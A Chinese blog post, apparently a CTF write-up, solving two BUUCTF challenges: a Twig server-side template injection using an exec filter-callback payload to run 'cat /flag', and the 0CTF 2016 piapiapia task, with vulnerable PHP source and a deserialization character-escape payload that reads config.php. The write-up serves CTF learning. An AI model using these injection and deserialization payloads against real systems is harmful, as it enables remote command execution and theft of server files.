BUUCTF 23

知识点

  • jinja2

  1. jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
  • Twig

  1. Twig是一款灵活、快速、安全的PHP模板引擎。

23-1 [BJDCTF2020]Cookie is so stable

做题思路

首先打开靶机之后有个提示,对我没用

然后打开 flag ,问我什么名字,输入之后,显示的是输入的值,怀疑这里有注入

尝试一下,发现是模板注入输入   {{7*7}} 得到49

然后又尝试了 {{system('ls')}} ,显示 

没啥头绪,但是看到题目说到cookie 便尝试抓包分析

依然不懂为啥子,找大佬

发现这个 

在user处尝试注入

{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig 

判断出是哪种模板注入后,就构建payload获取 flag,

这里采用的是大佬的  

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

暂时,还没去弄明白模板注入 

23-2 [0CTF 2016]piapiapia

做题思路

打开为一个登陆页面,尝试登陆,看源代码,抓包分析

好家伙,不会

看眼WP

大佬扫到了

在config.php中有变量flag,但为空,flag应该在服务器的config.php文件中,要找可以利用的漏洞读取服务器的flag

(三)代码审计

有注册功能,且代码中要求必须注册才能进行其后的操作;
update.php中对用户填写的信息进行了一些限制,且将信息序列化保存;class.php 中的 filter 也对用户信息进行了限制.

1、update.php
(1)phone 长度为11位;
(2)nickname长度小于 10 位,且只能为字母和数字;
(3)将用户填写的 phone、email、nickname 以及上传的 文件进行序列化

<?php
require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	......

2、class.php 中的限制:

(1)update_profile 中对 new_profile 用 filter 进行了过滤;
(2)filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.

<?php 
......
public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
.....

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
......

3、profile.php
(1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容
(2)用base64编码对上传文件进行了读取和显示

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

(四)突破:php反序列化字符逃逸

PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。

这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项。

1、构造数据
(1)选择构造数据的位置:构造数据要被挤到 photo 的位置,那么需要在 photo 前一个数据项,即 nickname 的位置,构造超出规定长度的数据;
(2)绕过限制:前面对 nickname 限制了长度为 10 ,这里要将其改为数组绕过
(3)获取构造数据长度

<?php
$profile['phone'] = '12345678990';
$profile['email'] = '123@123.com';
$profile ['nickname'] = ['abc'];
$profile['photo'] = 'config.php';
echo serialize($profile);

结果:

a:4:{s:5:"phone";s:11:"12345678990";s:5:"email";s:11:"123@123.com";s:8:"nickname";a:1:{i:0;s:3:"abc";}s:5:"photo";s:10:"config.php";}

读 config.php 的数据,加上对前面符号的闭合的字符串,长34位:

";}s:5:"photo";s:10:"config.php";}
  • 1

即需要在 nickname 处多添加34位长的数据,才能将这段数据挤到 photo 的位置上去
(4)在 filter 进行过滤时, ‘where’ 替换成了 ‘hacker’ ,此时字符串的长度加了 1 ,若在 nickname 处填进 34 个 ‘where’ ,就会被替换成 34 个 ‘hacker’,即nickname 的长度超出了 34 位,正好把 ";}s:5:“photo”;s:10:“config.php”;} 挤到的photo的位置。
最后 nickname 的填入的结果:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

 

2、利用base64编码读取服务器的config.php文件中的flag

(1)在register.php注册,任何登录,填写信息,在burpsuite中把nickname 改成数组,绕过检测nickname的正则在这里插入图片描述
(2)查看profile 的源码在这里插入图片描述在这里插入图片描述

痛诉我今天这题,没花时间,明天再仔细研究

借鉴WP

 

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值